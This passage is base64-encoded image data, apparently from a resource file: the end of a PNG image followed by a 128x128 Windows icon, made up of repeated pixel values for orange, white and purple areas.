i7tww8mfROeTr5Wu6hRhk0l32m9+O52ZrVlj6taYrTUGPxjj6rU/AAFEiHNksYAUBWyz+SpKTPp9yGoV + /ApSFMDp5EFKYND1el43HqcQJxgOgcslC5Ju158/ARJIAN1ubo32mQH3XwAqxAWUpf/iYOD9dhu4XiGT + iVozFUIhATgeIdMpcDhARiPYVivVZiEPk9kMfNg5LYOPEOl0gP0eMp/7lVfLgFSIKyJrwCvQ59VYo7JM + tCrEtVHpgpsjpWsJJDcHEUiZo2piCeAkZtoYgc7nKKMKsly+bWMwtp8DuV5HkH//4h0hDb4oh9/YhvF3 + tHMwST6W+MwAAAAASUVORK5CYII= + + + + 47 + + + + AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAgBAMQOAADEDgAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8b/34/VP9+P3//fj+m/34/zP9+ + P+T/fj/1/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/6/34/7v9+P93/fj/M/34/pv9+P3//fj9U/34/GwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+ + PzP/fj+Q/34/2/9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/2/9+P5D/fj8zAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/Df9+P3T/fj/W/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj/W/34/dP9+Pw0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/EP9+P4D/fj/t/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/7f9+ + P4H/fj8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA/34/Af9+P2H/fj/r/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P+v/fj9h/34/AQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PyT/fj/E/34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj/E/34/IwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAD/fj9V/34/8f9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/x/34/VQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8B/34/jP9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/jP9+PwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Bv9+ + P6X/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34/pf9+PwYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+Pwb/fj+3/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4BC//+DRv//iU///4xU//+PWf//klz//5Nf//+WYv//lmP//5dk//+X + ZP//l2X//5dl//+WY///lF///5Jd//+QWf//jVb//4lQ//+FSv//gUT//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/t/9+PwYAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8B/34/pP9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+CRP//ilD//5Jc//+bav//onX//6h9//+vh///uJb//8Sn///P + t///18P//9zL///g0f//5Nb//+fc///p3v//6t///+rg///q4P//6t///+ne///m2f//4dP//93N///Z + x///0Lr//8aq//+6mf//sYr//6qB//+keP//nW3//5Zj//+NVv//h0z//4BC//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34/pP9+PwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+P4r/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hEf//45X//+aaf//qoD//76f///T + vf//5dj//+/n///18P//+vj///37///+/f///fz///79///+/v///v7////+/////v////7///////// + /v////7//////////v/////////+/////v////7////+///+/v///v7///7+///9+///+vj///f0///y + 7P//6d///9zL///Lsf//uJX//6Z7//+ZaP//jVb//4JF//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/iwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj9V/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+D + Rv//kFr//6Z6///Aov//28n//+7l///59v///fz////+//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////v///v7///79///9/f//+PX//+7l///a + yP//vp7//6R3//+QWv//hUn//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/VQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/I/9+P/D/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4BB//+JUP//oHH//7+f///g0P//9O////z7/////v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////7///7+///9/f//9vL//+PV///EqP//pnr//45X//+C + RP//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj/w/34/IwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PwH/fj/E/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4BB//+KUf//p33//9G7///w + 6P///Pr///7+//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////v7///38///07///2cf//7ON//+UX///gkX//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/E/34/AQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/Yf9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///39B//+JUP//pXr//9jE///49P///v7///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////7////////+ + /f//+fX//+LT//+6mf//k1///4JE//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj9hAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PxD/fj/q/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+FSv//oHH//862///18P////7///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+/////v///////////////////v7///n3///g0P//soz//4xT//9/ + Qf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P+r/fj8SAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/f/9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+A + Qv//j1n//7ua///s4////f3///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////7///7+///28v//0r3//59x//+FSv//f0D//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P4AAAAAAAAAAAAAAAAAAAAAAAAAAAP9+Pw3/fj/u/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///gUT//5pp///Vwf//+fb////+//////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////////////////+ + /f//7OL//7iV//+OVv//f0H//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/7v9+ + Pw0AAAAAAAAAAAAAAAAAAAAA/34/dP9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4VJ//+k + eP//4tT///79//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////+/f//9vH//8yz//+XZP//gEH//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/dAAAAAAAAAAAAAAAAP9+PwH/fj/b/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+FSv//rYT//+ne///+/f////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////v//+/j//9vK//+ca///gkT//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj/b/34/AQAAAAAAAAAA/34/O/9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///g0f//6yD///s + 4v///v3//////////////v7///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////v///v7//+PV//+k + d///g0b//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj87AAAAAAAAAAD/fj+Q/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4RH//+off//6uD///7+/////v/////////////+/v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////v7////+/////v///fv//+PW//+idf//gUP//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P5AAAAAAAAAAAP9+P9j/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+AQf//nm7//+TX///9 + /f////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////v7////+//// + /v///fz//+PV//+ebv//gUT//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/2QAAAAD/fj8d/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///45W///SvP///Pv///7+//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////v7//////////v///fz//9zM//+YZf//f0D//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34/Hv9+P1b/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+GSv//u5r///n1//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////+/n//863//+LUv//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj9W/34/hP9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///gEH//59x///s4v////////////////////////////////////////////7+ + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////v//9/L//7SQ//+E + R///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P4T/fj+t/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+KUP//zLL///z7//// + /////////////////////////Pv///f0/v/x6/7/7+n9//Tv/v/6+P7//v7///////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////+/f//+/n///j1/v/38/7/+fb+//38 + ///////////////////////////////+/v//6d7//5tp//9/QP//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/rf9+ + P8z/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///f0D//6J0///u5v////7//////////////////v7///n2/v/o3v3/0sD6/8ew + +f/Frvn/y7b6/9zO+//y7P7//fz///////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////+/r///Hr/v/h1fz/1sX7/9PB+v/ay/v/6N/9//f0/v/+/v/////////////////////////9 + /P//ya///4ZL//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/M/34/5f9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+GS///ya////z7//// + ///////////////////59/7/49j8/8Go+f+vj/f/qof2/6mG9v+sivb/t5n3/9C9+v/x6/7//v7///// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////z6///r4/3/zLf6/7OU9/+qh/b/qYb2/62M + 9v+9ovj/28z7//by/v////////////////////////7+///w6P//oHH//39A//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P+D/fj/y/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///5hl///r4f////7//////////////////fz//+zl/f/ErPn/q4n2/6mG + 9v+phvb/qYb2/6mG9v+qh/b/tJX3/9fH+//59/7///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///+/f//8ev+/8y3+v+sivb/qYb2/6mG9v+phvb/qYb2/6qH9v+3mvf/39L8//v6//////////////// + /v////////z7///Jrv//h03//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/7P9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9/Qf//sYz///v5//// + ///////////////////6+P7/3dD7/7CP9/+phvb/qYb2/6mG9v+phvb/qYb2/6mG9v+rifb/wKf4//Dr + /f////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////v5///h1Pz/s5T3/6mG9v+phvb/qYb2/6mG + 9v+phvb/qYb2/6yL9v/ErPn/8+7+/////////////////////v///v7//+zi//+bav//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj/5/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4ZL///Quv///v7///////////////////////f0/v/Uw/v/qof2/6mG + 9v+phvb/qYb2/6mG9v+phvb/qYb2/6mG9v+4m/j/6eD9//7+//////////////////////////////// + //////////////////////////////////////////////////////////////////////////7+///9 + /f///Pv///z7///9/f///v7///////////////////7+///+/f///f3///7+//////////////////// + /////v7///39//////////////////////////////////////////////////////////////////// + ////////+PX+/9bF+/+qh/b/qYb2/6mG9v+phvb/qYb2/6mG9v+phvb/qYb2/7mc+P/q4v3//v7///// + //////////7+///+/v//+vf//7aR//+BQ///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///lF///+ne//// + ////////////////////////9/T+/9TD+/+qh/b/qYb2/6mG9v+phvb/qYb2/6mG9v+phvb/qYb2/7ib + +P/p4P3//v7///////////////////////////////////////////////////////////////////// + ///////////////////////////////8+///5tr//8mv//+/oP//vp///8mv///g0f//9O////n3///x + 6///2cb//8uy///Svf//6d////r3///+/f/////////////+/v////////////////////////////// + ///////////////////////////////////////////////////39P7/08H6/6mG9v+phvb/qYb2/6mG + 9v+phvb/qYb2/6mG9v+phvb/t5r3/+jf/f/+/v/////////////////////////+/f//1L///4tS//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+keP//9/P////////////////////////////6+P7/3dD7/7CP + 9/+phvb/qYb2/6mG9v+phvb/qYb2/6mG9v+rifb/wKf4//Dr/f////////////////////////////// + /////////////////////////////////////////////////////////////////////////+vi//+l + ev//h03//4JF//+AQv//iU///5hl//+uhv//sYv//6uC//+RW///iE7//49Z//+fcP//zrf///by//// + //////////////////////////////////////////////////////////////////////////////// + //////////////n2/v/ay/v/rYz2/6mG9v+phvb/qYb2/6mG9v+phvb/qYb2/6qI9v+9ovj/7uf9//// + ///////////////////////////////t5P//m2r//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///7CJ///7 + +f////////////////////////////38///s5f3/xKz5/6uJ9v+phvb/qYb2/6mG9v+phvb/qof2/7SW + 9//Xx/v/+ff+//////////////////////////////////////////////////////////////////// + ///////////////////////////////59v//waP//6yE//+6mf//w6b//7eT//+cbP//h0z//4NH//+C + RP//hkr//5Fb//+gcv//pHj//6By//+pf///7eX///////////////////////////////////////// + /////////////////////////////////////////////////////////Pv//+jf/f+9ovj/qof2/6mG + 9v+phvb/qYb2/6mG9v+phvb/sZH3/8+8+v/49f7///////////////////////////////////n2//+r + gf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9/Qf//vZz///38//////////////////////////////////n3 + /v/j2Pz/waj5/6+P9/+qh/b/qYb2/6yK9v+3mff/0L76//Tr+P///v3///////////////////7+//// + //////////////////////////////////////////////////////////////////////////Pu///I + rf//6d7///r3///9/f//+vj//+DR//+uhv//iU///4tS//+vh///z7f//+TW///n3P//3Mr//9K8///3 + 9P////////////////////////////////////////////////////////////////////////////// + ////////////////////////9/T+/9vM+/+3mvf/rIv2/6mG9v+phvb/qoj2/7GR9//Grvn/7OT9//39 + /////////////////////////////////////Pv//7WS//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4NG///L + sf///v3//////////////////////////////////v7///n2/v/o3v3/0sD6/8ew+f/Frfn/y7b6/9zO + +//+6+L///z7/////////Pr///Tu///x6v//8On///Xw///7+v///v7///////////////////////// + /////////////////////////////////////v7///79/////////////////////////fz//9rI//+f + cf//xKj///Dp///+/f///v7///7+///8+v//+vf///79//////////////////////////////////// + ///////////////////////////////////////////////////////////////////+/v//9vL+/9/S + /P/ErPn/uZz4/7ea9/+9ovj/z7z6/+zk/f/8+//////////////////////////////////////////9 + 